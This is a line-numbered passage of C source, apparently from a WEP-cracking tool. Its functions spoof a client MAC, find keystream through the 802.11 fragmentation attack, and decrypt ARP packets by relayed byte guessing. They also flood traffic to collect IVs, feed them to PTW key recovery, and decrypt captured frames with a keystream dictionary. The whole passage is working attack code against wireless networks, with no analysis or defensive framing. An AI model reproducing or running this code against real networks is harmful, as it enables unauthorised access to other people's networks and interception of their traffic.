1127 			if (ttl_val && new_ttl != ttl_val) {
1128 				time_print("oops. ttl changed from %d to %d\n",
1129 					   ttl_val, new_ttl);
1130 				exit(1);
1131 			}
1132 
1133 			if (!ttl_val) {
1134 				ttl_val = new_ttl;
1135 				printf("\n");
1136 				time_print("Got TTL of %d\n", ttl_val);
1137 				calculate_inet_clear();
1138 			}
1139 		}
1140 
1141 		// check if its dictionary data
1142 		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1143 			log_dictionary(body, len - sizeof(*wh));
1144 		}
1145 #endif
1146 	}
1147 
1148 #if 0
1149 	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1150 		type, stype, mac2str(wh->i_addr2), len);
1151 #endif
1152 }
1153 
1154 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1155 	unsigned char* body;
1156 	int bodylen;
1157 	unsigned char clear[36];
1158 	unsigned char* ptr;
1159 	struct arphdr* h;
1160 	int i;
1161 
1162 	body = (unsigned char*) wh+sizeof(*wh);
1163 	ptr = clear;
1164 
1165 	// calculate clear-text
1166 	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1167 	ptr += sizeof(arp_clear) -1;
1168 
1169 	h = (struct arphdr*)ptr;
1170 	h->ar_hrd = htons(ARPHRD_ETHER);
1171         h->ar_pro = htons(ETHERTYPE_IP);
1172         h->ar_hln = 6;
1173         h->ar_pln = 4;
1174         h->ar_op = htons(ARPOP_REQUEST);
1175 	ptr += sizeof(*h);
1176 
1177 	memcpy(ptr, wh->i_addr3, 6);
1178 
1179 	bodylen = rd - sizeof(*wh) - 4 - 4;
1180 	decryptstate.clen = bodylen;
1181 	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1182 	if (!decryptstate.cipher) {
1183 		perror("malloc()");
1184 		exit(1);
1185 	}
1186 	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1187 	if (!decryptstate.prgainfo.prga) {
1188 		perror("malloc()");
1189 		exit(1);
1190 	}
1191 
1192 
1193 	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1194 	memcpy(decryptstate.prgainfo.iv, body, 3);
1195 
1196 	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1197 	for(i = 0; i < (8+8+6); i++) {
1198 		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1199 						clear[i];
1200 	}
1201 
1202 	decryptstate.prgainfo.len = i;
1203 	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1204 }
1205 
1206 void log_wep(struct ieee80211_frame* wh, int len) {
1207 	int rd;
1208 	struct pcap_pkthdr pkh;
1209 	struct timeval tv;
1210 	unsigned char *body = (unsigned char*) (wh+1);
1211 
1212 	memset(&pkh, 0, sizeof(pkh));
1213 	pkh.caplen = pkh.len = len;
1214 	if (gettimeofday(&tv, NULL) == -1)
1215 		err(1, "gettimeofday()");
1216 	pkh.ts = tv;
1217 	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1218 		err(1, "write()");
1219 
1220 	rd = write(weplog.fd, wh, len);
1221 
1222 	if (rd == -1) {
1223 		perror("write()");
1224 		exit(1);
1225 	}
1226 	if (rd != len) {
1227 		time_print("short write %d out of %d\n", rd, len);
1228 		exit(1);
1229 	}
1230 
1231 #if 0
1232 	if (fsync(weplog.fd) == -1) {
1233 		perror("fsync()");
1234 		exit(1);
1235 	}
1236 #endif
1237 
1238 	memcpy(weplog.iv, body, 3);
1239 	weplog.packets++;
1240 }
1241 
1242 void try_dictionary(struct ieee80211_frame* wh, int len) {
1243 	unsigned char *body;
1244 	char path[52];
1245 	char paths[3][3];
1246 	int i;
1247 	int fd, rd;
1248 	unsigned char packet[4096];
1249 	int dlen;
1250 	struct ether_header* eh;
1251 	uLong crc;
1252 	unsigned long *pcrc;
1253 	unsigned char* dmac, *smac;
1254 
1255 	assert (len < sizeof(packet) + sizeof(*eh));
1256 
1257 	body = (unsigned char*) wh + sizeof(*wh);
1258 
1259 	for (i = 0; i < 3; i++)
1260 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1261 
1262 	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1263 
1264 	fd = open(path, O_RDONLY);
1265 	if (fd == -1)
1266 		return;
1267 
1268 	rd = read(fd, &packet[6], sizeof(packet)-6);
1269 	if (rd == -1) {
1270 		perror("read()");
1271 		exit(1);
1272 	}
1273 	close(fd);
1274 
1275 
1276 	dlen = len - sizeof(*wh) - 4;
1277 	if (dlen > rd) {
1278 		printf("\n");
1279 		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1280 		dlen);
1281 		return;
1282 	}
1283 
1284 	body += 4;
1285 	for (i = 0; i < dlen; i++)
1286 		packet[6+i] ^= body[i];
1287 
1288 	dlen -= 4;
1289 	crc = crc32(0L, Z_NULL, 0);
1290 	crc = crc32(crc, &packet[6], dlen);
1291 	pcrc = (unsigned long*) (&packet[6+dlen]);
1292 
1293 	if (*pcrc != crc) {
1294 		printf("\n");
1295 		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1296 			   path, *pcrc, crc);
1297 		return;
1298 	}
1299 
1300 	// fill ethernet header
1301 	eh = (struct ether_header*) packet;
1302 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1303 		smac = wh->i_addr3;
1304 	else
1305 		smac = wh->i_addr2;
1306 
1307 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1308 		dmac = wh->i_addr3;
1309 	else
1310 		dmac = wh->i_addr1;
1311 
1312 	memcpy(eh->ether_dhost, dmac, 6);
1313 	memcpy(eh->ether_shost, smac, 6);
1314 	// ether type should be there from llc
1315 
1316 	dlen -= 8; // llc
1317 	dlen += sizeof(*eh);
1318 
1319 #if 0
1320 	printf("\n");
1321 	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1322 	hexdump(packet, dlen);
1323 #endif
1324 
1325 	rd = write(tapfd, packet, dlen);
1326 	if (rd == -1) {
1327 		perror("write()");
1328 		exit(1);
1329 	}
1330 	if (rd != dlen) {
1331 		printf("Wrote %d / %d\n", rd, dlen);
1332 		exit(1);
1333 	}
1334 }
1335 
1336 int is_arp(struct ieee80211_frame *wh, int len)
1337 {
1338         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1339 
1340         if (len == arpsize || len == 54)
1341                 return 1;
1342 
1343         return 0;
1344 }
1345 
1346 void *get_sa(struct ieee80211_frame *wh)
1347 {
1348         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1349                 return wh->i_addr3;
1350         else
1351                 return wh->i_addr2;
1352 }
1353 
1354 void *get_da(struct ieee80211_frame *wh)
1355 {
1356         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1357                 return wh->i_addr1;
1358         else
1359                 return wh->i_addr3;
1360 }
1361 
1362 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1363 {
1364         unsigned char *ptr = clear;
1365 
1366         /* IP */
1367         if (!is_arp(wh, len)) {
1368                 unsigned short iplen = htons(len - 8);
1369 
1370 //                printf("Assuming IP %d\n", len);
1371 
1372                 len = sizeof(S_LLC_SNAP_IP) - 1;
1373                 memcpy(ptr, S_LLC_SNAP_IP, len);
1374                 ptr += len;
1375 #if 1
1376                 len = 2;
1377                 memcpy(ptr, "\x45\x00", len);
1378                 ptr += len;
1379 
1380                 memcpy(ptr, &iplen, len);
1381                 ptr += len;
1382 #endif
1383                 len = ptr - ((unsigned char*)clear);
1384                 return len;
1385         }
1386 //        printf("Assuming ARP %d\n", len);
1387 
1388         /* arp */
1389         len = sizeof(S_LLC_SNAP_ARP) - 1;
1390         memcpy(ptr, S_LLC_SNAP_ARP, len);
1391         ptr += len;
1392 
1393         /* arp hdr */
1394         len = 6;
1395         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1396         ptr += len;
1397 
1398         /* type of arp */
1399         len = 2;
1400         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1401                 memcpy(ptr, "\x00\x01", len);
1402         else
1403                 memcpy(ptr, "\x00\x02", len);
1404         ptr += len;
1405 
1406         /* src mac */
1407         len = 6;
1408         memcpy(ptr, get_sa(wh), len);
1409         ptr += len;
1410 
1411         len = ptr - ((unsigned char*)clear);
1412         return len;
1413 }
1414 
1415 void add_keystream(struct ieee80211_frame* wh, int rd)
1416 {
1417 	unsigned char clear[1024];
1418 	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1419 	int clearsize;
1420 	unsigned char *body = (unsigned char*) (wh+1);
1421 	int i;
1422 
1423 	clearsize = known_clear(clear, wh, dlen);
1424 	if (clearsize < 16)
1425 		return;
1426 
1427 	for (i = 0; i < 16; i++)
1428 		clear[i] ^= body[4+i];
1429 
1430 	PTW_addsession(ptw, body, clear);
1431 }
1432 
1433 void got_wep(struct ieee80211_frame* wh, int rd) {
1434 	int bodylen;
1435 	int dlen;
1436 	unsigned char clear[1024];
1437 	int clearsize;
1438 	unsigned char *body;
1439 
1440 	bodylen = rd - sizeof(struct ieee80211_frame);
1441 
1442 	dlen = bodylen - 4 - 4;
1443 	body = (unsigned char*) wh + sizeof(*wh);
1444 
1445 
1446 	// log it if its stuff not from us...
1447 	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1448 	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1449 	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1450 
1451 		if (body[3] != 0) {
1452 			time_print("Key index=%x!!\n", body[3]);
1453 			exit(1);
1454 		}
1455 		log_wep(wh, rd);
1456 		add_keystream(wh, rd);
1457 
1458 		// try to decrypt too
1459 		try_dictionary(wh, rd);
1460 	}
1461 
1462 	// look for arp-request packets... so we can decrypt em
1463 	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1464 	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1465 	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1466 	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1467 	    !decryptstate.cipher &&
1468 	    !netip) {
1469 		decrypt_arpreq(wh, rd);
1470 	}
1471 
1472 	// we have prga... check if its our stuff being relayed...
1473 	if (prgainfo.len != 0) {
1474 		// looks like it...
1475 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1476 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1477 		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1478 		    dlen == fragstate.len) {
1479 
1480 //			printf("I fink AP relayed it...\n");
1481 			set_prga(body, &body[4], fragstate.data, dlen);
1482 			free(fragstate.data);
1483 			fragstate.data = 0;
1484 			fragstate.waiting_relay = 0;
1485 		}
1486 
1487 		// see if we get the multicast stuff of when decrypting
1488 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1489 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1490 		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1491 		    dlen == 36) {
1492 
1493 			unsigned char pr = wh->i_addr1[5];
1494 
1495 			printf("\n");
1496 			time_print("Got clear-text byte: %d\n",
1497 			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1498 
1499 			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1500 			decryptstate.prgainfo.len++;
1501 			decryptstate.fragstate.waiting_relay = 1;
1502 
1503 			// ok we got the ip...
1504 			if (decryptstate.prgainfo.len == 26+1) {
1505 				unsigned char ip[4];
1506 				int i;
1507 				struct in_addr *in = (struct in_addr*) ip;
1508 				unsigned char *ptr;
1509 
1510 				for (i = 0; i < 4; i++)
1511 					ip[i] = decryptstate.cipher[8+8+6+i] ^
1512 						decryptstate.prgainfo.prga[8+8+6+i];
1513 
1514 				assert(!netip);
1515 				netip = (unsigned char*) malloc(16);
1516 				if(!netip) {
1517 					perror("malloc()");
1518 					exit(1);
1519 				}
1520 
1521 				memset(netip, 0, 16);
1522 				strcpy(netip, inet_ntoa(*in));
1523 
1524 				time_print("Got IP=(%s)\n", netip);
1525 				strcpy(myip, netip);
1526 
1527 				ptr = strchr(myip, '.');
1528 				assert(ptr);
1529 				ptr = strchr(ptr+1, '.');
1530 				assert(ptr);
1531 				ptr = strchr(ptr+1, '.');
1532 				assert(ptr);
1533 				strcpy(ptr+1,"123");
1534 
1535 				time_print("My IP=(%s)\n", myip);
1536 
1537 
1538 				free(decryptstate.prgainfo.prga);
1539 				free(decryptstate.cipher);
1540 				memset(&decryptstate, 0, sizeof(decryptstate));
1541 			}
1542 		}
1543 		return;
1544 	}
1545 
1546 	clearsize = known_clear(clear, wh, dlen);
1547 	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1548 
1549 	set_prga(body, &body[4], clear, clearsize);
1550 }
1551 
1552 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1553 	int type,stype;
1554 
1555 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1556 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1557 
1558 	if (type == IEEE80211_FC0_TYPE_DATA &&
1559 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1560 		int dlen = rd - sizeof(struct ieee80211_frame);
1561 
1562 		if (state == SPOOF_MAC) {
1563 			unsigned char mac[6];
1564 			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1565 				memcpy(mac, wh->i_addr3, 6);
1566 			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1567 				memcpy(mac, wh->i_addr1, 6);
1568 			} else assert(0);
1569 
1570 			if (mac[0] == 0xff || mac[0] == 0x1)
1571 				return;
1572 
1573 			memcpy(mymac, mac, 6);
1574 			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1575 			state = FOUND_VICTIM;
1576 			return;
1577 		}
1578 
1579 		// wep data!
1580 		if ( (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) &&
1581 		    dlen > (4+8+4)) {
1582 			got_wep(wh, rd);
1583 		}
1584 	}
1585 }
1586 
1587 void anal(unsigned char* buf, int rd, int tx) { // yze
1588 	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1589 	int type,stype;
1590 	static int lastseq = -1;
1591 	int seq;
1592 	unsigned short *seqptr;
1593 	int for_us = 0;
1594 
1595 	if (rd < 1) {
1596 		time_print("rd=%d\n", rd);
1597 		exit(1);
1598 	}
1599 
1600 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1601 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1602 
1603 	// sort out acks
1604 	if (state >= FOUND_VICTIM) {
1605 		// stuff for us
1606 		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1607 			for_us = 1;
1608 			if (type != IEEE80211_FC0_TYPE_CTL)
1609 				send_ack(tx);
1610 		}
1611 	}
1612 
1613 	// XXX i know it aint great...
1614 	seqptr = (unsigned short*)  wh->i_seq;
1615 	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1616 	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1617 	    type != IEEE80211_FC0_TYPE_CTL) {
1618 //		printf("Ignoring dup packet... seq=%d\n", seq);
1619 		return;
1620 	}
1621 	lastseq = seq;
1622 
1623 	// management frame
1624 	if (type == IEEE80211_FC0_TYPE_MGT) {
1625 		if(state == FIND_VICTIM) {
1626 			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1627 			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1628 
1629 			    	if (get_victim_ssid(wh, rd)) {
1630 			    		return;
1631 				}
1632 			}
1633 
1634 		}
1635 	}
1636 
1637 	if (state >= FOUND_VICTIM) {
1638 		// stuff for us
1639 		if (for_us) {
1640 			stuff_for_us(wh, rd);
1641 		}
1642 
1643 		// stuff in network [even for us]
1644 		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1645 			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1646 
1647 			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1648 			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1649 			   ) {
1650 			stuff_for_net(wh, rd);
1651 		}
1652 	}
1653 }
1654 
1655 void do_arp(unsigned char* buf, unsigned short op,
1656 	    unsigned char* m1, unsigned char* i1,
1657 	    unsigned char* m2, unsigned char* i2) {
1658 
1659         struct in_addr sip;
1660         struct in_addr dip;
1661 	struct arphdr* h;
1662 	unsigned char* data;
1663 
1664         inet_aton(i1, &sip);
1665         inet_aton(i2, &dip);
1666 	h = (struct arphdr*) buf;
1667 
1668 	memset(h, 0, sizeof(*h));
1669 
1670 	h->ar_hrd = htons(ARPHRD_ETHER);
1671         h->ar_pro = htons(ETHERTYPE_IP);
1672         h->ar_hln = 6;
1673         h->ar_pln = 4;
1674         h->ar_op = htons(op);
1675 
1676 	data = (unsigned char*) h + sizeof(*h);
1677 
1678 	memcpy(data, m1, 6);
1679 	data += 6;
1680 	memcpy(data, &sip, 4);
1681 	data += 4;
1682 
1683 	memcpy(data, m2, 6);
1684 	data += 6;
1685 	memcpy(data, &dip, 4);
1686 	data += 4;
1687 }
1688 
1689 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1690 	unsigned char buf[4096];
1691 	struct ieee80211_frame* wh;
1692 	unsigned char* body;
1693 	int fragsize;
1694 	uLong crc;
1695 	unsigned long *pcrc;
1696 	int i;
1697 	unsigned short* seq;
1698 	unsigned short sn, fn;
1699 
1700 	wh = (struct ieee80211_frame*) buf;
1701 	memcpy(wh, &fs->wh, sizeof(*wh));
1702 
1703 	body = (unsigned char*) wh + sizeof(*wh);
1704 	memcpy(body, &pi->iv, 3);
1705 	body += 3;
1706 	*body++ = 0; // key index
1707 
1708 	fragsize = fs->data + fs->len - fs->ptr;
1709 
1710 	assert(fragsize > 0);
1711 
1712 	if ( (fragsize + 4) > pi->len) {
1713 		fragsize = pi->len  - 4;
1714 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1715 	}
1716 	// last fragment
1717 	else {
1718 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1719 	}
1720 
1721 	memcpy(body, fs->ptr, fragsize);
1722 
1723 	crc = crc32(0L, Z_NULL, 0);
1724 	crc = crc32(crc, body, fragsize);
1725 	pcrc = (unsigned long*) (body+fragsize);
1726 	*pcrc = crc;
1727 
1728 	for (i = 0; i < (fragsize + 4); i++)
1729 		body[i] ^= pi->prga[i];
1730 
1731 	seq = (unsigned short*) &wh->i_seq;
1732 	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1733 	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1734 //	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1735 
1736 	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1737 
1738 	seq = (unsigned short*) &fs->wh.i_seq;
1739 	*seq = fnseq(++fn, sn);
1740 	fs->ptr += fragsize;
1741 
1742 	if (fs->ptr - fs->data == fs->len) {
1743 //		printf("Finished sending frags...\n");
1744 		fs->waiting_relay = 1;
1745 	}
1746 }
1747 
1748 void prepare_fragstate(struct frag_state* fs, int pad) {
1749 	fs->waiting_relay = 0;
1750 	fs->len = 8 + 8 + 20 + pad;
1751 	fs->data = (unsigned char*) malloc(fs->len);
1752 
1753 	if(!fs->data) {
1754 		perror("malloc()");
1755 		exit(1);
1756 	}
1757 
1758 	fs->ptr = fs->data;
1759 
1760 	do_llc(fs->data, ETHERTYPE_ARP);
1761 	do_arp(&fs->data[8], ARPOP_REQUEST,
1762 	       mymac, myip,
1763 	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1764 
1765 	memset(&fs->wh, 0, sizeof(fs->wh));
1766 	fill_basic(&fs->wh);
1767 
1768 	memset(fs->wh.i_addr3, 0xff, 6);
1769 	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1770 	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1771 				IEEE80211_FC1_MORE_FRAG |
1772 				IEEE80211_FC1_PROTECTED;
1773 
1774 	memset(&fs->data[8+8+20], 0, pad);
1775 }
1776 
1777 void discover_prga(int tx) {
1778 
1779 	// create packet...
1780 	if (!fragstate.data) {
1781 		int pad = 0;
1782 
1783 		if (prgainfo.len >= 20)
1784 			pad = prgainfo.len*3;
1785 
1786 		prepare_fragstate(&fragstate, pad);
1787 	}
1788 
1789 	if (!fragstate.waiting_relay) {
1790 		send_fragment(tx, &fragstate, &prgainfo);
1791 		if (fragstate.waiting_relay) {
1792 			if (gettimeofday(&fragstate.last, NULL) == -1)
1793 				err(1, "gettimeofday()");
1794 		}
1795 	}
1796 }
1797 
1798 void decrypt(int tx) {
1799 
1800 	// gotta initiate
1801 	if (!decryptstate.fragstate.data) {
1802 		prepare_fragstate(&decryptstate.fragstate, 0);
1803 
1804 		memcpy(decryptstate.fragstate.wh.i_addr3,
1805 		       MCAST_PREF, 5);
1806 
1807 		decryptstate.fragstate.wh.i_addr3[5] =
1808 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1809 
1810 		decryptstate.prgainfo.len++;
1811 	}
1812 
1813 	// guess diff prga byte...
1814 	if (decryptstate.fragstate.waiting_relay) {
1815 		unsigned short* seq;
1816 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1817 
1818 #if 0
1819 		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1820 			printf("Can't decrpyt!\n");
1821 			exit(1);
1822 		}
1823 #endif
1824 		decryptstate.fragstate.wh.i_addr3[5] =
1825 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1826 
1827 		decryptstate.fragstate.waiting_relay = 0;
1828 		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1829 
1830 		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1831 		*seq = fnseq(0, txstate.psent);
1832 	}
1833 
1834 	send_fragment(tx, &decryptstate.fragstate,
1835 		      &decryptstate.prgainfo);
1836 }
1837 
1838 void flood_inet(tx) {
1839 	static int send_arp = -1;
1840 	static unsigned char arp_pkt[128];
1841 	static int arp_len;
1842 	static unsigned char udp_pkt[128];
1843 	static int udp_len;
1844 	static struct timeval last_ip;
1845 
1846 	// need to init packets...
1847 	if (send_arp == -1) {
1848 		unsigned char* body;
1849 		unsigned char* ptr;
1850 		struct ieee80211_frame* wh;
1851 		struct ip* ih;
1852 		struct udphdr* uh;
1853 
1854 		memset(arp_pkt, 0, sizeof(arp_pkt));
1855 		memset(udp_pkt, 0, sizeof(udp_pkt));
1856 
1857 		// construct ARP
1858 		wh = (struct ieee80211_frame*) arp_pkt;
1859 		fill_basic(wh);
1860 
1861 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1862 		wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1863 		memset(wh->i_addr3, 0xff, 6);
1864 
1865 		body = (unsigned char*) wh + sizeof(*wh);
1866 		ptr = body;
1867 		ptr += 4; // iv
1868 
1869 		do_llc(ptr, ETHERTYPE_ARP);
1870 		ptr += 8;
1871 		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1872 		       "\x00\x00\x00\x00\x00\x00", netip);
1873 
1874 		wepify(body, 8+8+20);
1875 		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1876 		assert(arp_len < sizeof(arp_pkt));
1877 
1878 
1879 		// construct UDP
1880 		wh = (struct ieee80211_frame*) udp_pkt;
1881 		fill_basic(wh);
1882 
1883 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1884 		wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1885 		memcpy(wh->i_addr3, rtrmac, 6);
1886 
1887 		body = (unsigned char*) wh + sizeof(*wh);
1888 		ptr = body;
1889 		ptr += 4; // iv
1890 
1891 		do_llc(ptr, ETHERTYPE_IP);
1892 		ptr += 8;
1893 
1894 		ih = (struct ip*) ptr;
1895 		ih->ip_hl = 5;
1896 		ih->ip_v = 4;
1897 		ih->ip_tos = 0;
1898 		ih->ip_len = htons(20+8+5);
1899 		ih->ip_id = htons(666);
1900 		ih->ip_off = 0;
1901 		ih->ip_ttl = 128;
1902 		ih->ip_p = IPPROTO_UDP;
1903 		ih->ip_sum = 0;
1904 
1905 		inet_aton(myip, &ih->ip_src);
1906 		inet_aton(floodip, &ih->ip_dst);
1907 
1908 		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1909 
1910 		ptr += 20;
1911 		uh = (struct udphdr*) ptr;
1912 		uh->uh_sport = htons(floodsport);
1913 		uh->uh_dport = htons(floodport);
1914 		uh->uh_ulen = htons(8+5);
1915 		uh->uh_sum = 0;
1916 
1917 		ptr += 8;
1918 		strcpy(ptr, "sorbo");
1919 
1920 		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1921 					  &ih->ip_dst);
1922 
1923 		wepify(body, 8+20+8+5);
1924 		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1925 		assert(udp_len < sizeof(udp_pkt));
1926 
1927 		// bootstrap
1928 		send_arp = 1;
1929 
1930 		memset(&last_ip, 0, sizeof(last_ip));
1931 	}
1932 
1933 	if (send_arp == 1) {
1934 		struct timeval now;
1935 		unsigned long sec;
1936 
1937 		if (gettimeofday(&now, NULL) == -1) {
1938 			perror("gettimeofday()");
1939 			exit(1);
1940 		}
1941 
1942 		sec = now.tv_sec - last_ip.tv_sec;
1943 
1944 		if (sec < 5)
1945 			return;
1946 
1947 		send_frame(tx, arp_pkt, arp_len);
1948 		send_arp = 0;
1949 	}
1950 
1951 	else if (send_arp == 0) {
1952 		if (gettimeofday(&last_ip, NULL) == -1) {
1953 			perror("gettimeofday()");
1954 			exit(1);
1955 		}
1956 
1957 		send_frame(tx, udp_pkt, udp_len);
1958 		send_arp = 1;
1959 	} else assert(0);
1960 }
1961 
1962 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1963 	      unsigned char* srcmac, unsigned char* dstip,
1964 	      unsigned char* dstmac) {
1965 
1966 	static unsigned char arp_pkt[128];
1967 	unsigned char* body;
1968 	unsigned char* ptr;
1969 	struct ieee80211_frame* wh;
1970 	int arp_len;
1971 
1972 	memset(arp_pkt, 0, sizeof(arp_pkt));
1973 
1974 	// construct ARP
1975 	wh = (struct ieee80211_frame*) arp_pkt;
1976 	fill_basic(wh);
1977 
1978 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1979 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1980 	memset(wh->i_addr3, 0xff, 6);
1981 
1982 	body = (unsigned char*) wh + sizeof(*wh);
1983 	ptr = body;
1984 	ptr += 4; // iv
1985 
1986 	do_llc(ptr, ETHERTYPE_ARP);
1987 	ptr += 8;
1988 	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1989 
1990 	wepify(body, 8+8+20);
1991 	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1992 	assert(arp_len < sizeof(arp_pkt));
1993 
1994 	send_frame(tx, arp_pkt, arp_len);
1995 }
1996 
1997 void can_write(int tx) {
1998 	static char arp_ip[16];
1999 
2000 	switch (state) {
2001 		case FOUND_VICTIM:
2002 			send_auth(tx);
2003 			state = SENDING_AUTH;
2004 			break;
2005 
2006 		case GOT_AUTH:
2007 			send_assoc(tx);
2008 			state = SENDING_ASSOC;
2009 			break;
2010 
2011 		case GOT_ASSOC:
2012 			if (prgainfo.prga && prgainfo.len < min_prga) {
2013 				discover_prga(tx);
2014 				break;
2015 			}
2016 
2017 			if (decryptstate.cipher) {
2018 				decrypt(tx);
2019 				break;
2020 			}
2021 
2022 			if (!prgainfo.prga)
2023 				break;
2024 
2025 			if (taptx_len) {
2026 				send_frame(tx, taptx, taptx_len);
2027 				taptx_len = 0;
2028 				break;
2029 			}
2030 
2031 			// try to find rtr mac addr
2032 			if (netip && !rtrmac) {
2033 				char* ptr;
2034 
2035 				strcpy(arp_ip, netip);
2036 				if (!netip_arg) {
2037 					ptr = strchr(arp_ip, '.');
2038 					assert(ptr);
2039 					ptr = strchr(++ptr, '.');
2040 					assert(ptr);
2041 					ptr = strchr(++ptr, '.');
2042 					assert(ptr);
2043 					strcpy(++ptr, "1");
2044 				}
2045 
2046 				if (gettimeofday(&arpsend, NULL) == -1)
2047 					err(1, "gettimeofday()");
2048 
2049 				time_print("Sending arp request for: %s\n", arp_ip);
2050 				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2051 					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2052 
2053 				// XXX lame
2054 				rtrmac = (unsigned char*)1;
2055 				break;
2056 			}
2057 
2058 			// need to generate traffic...
2059 			if (rtrmac > (unsigned char*)1 && netip) {
2060 				if (floodip)
2061 					flood_inet(tx);
2062 				else {
2063 					// XXX lame technique... anyway... im
2064 					// only interested in flood_inet...
2065 
2066 					// could ping broadcast....
2067 					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2068 						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2069 				}
2070 
2071 				break;
2072 			}
2073 
2074 			break;
2075 	}
2076 }
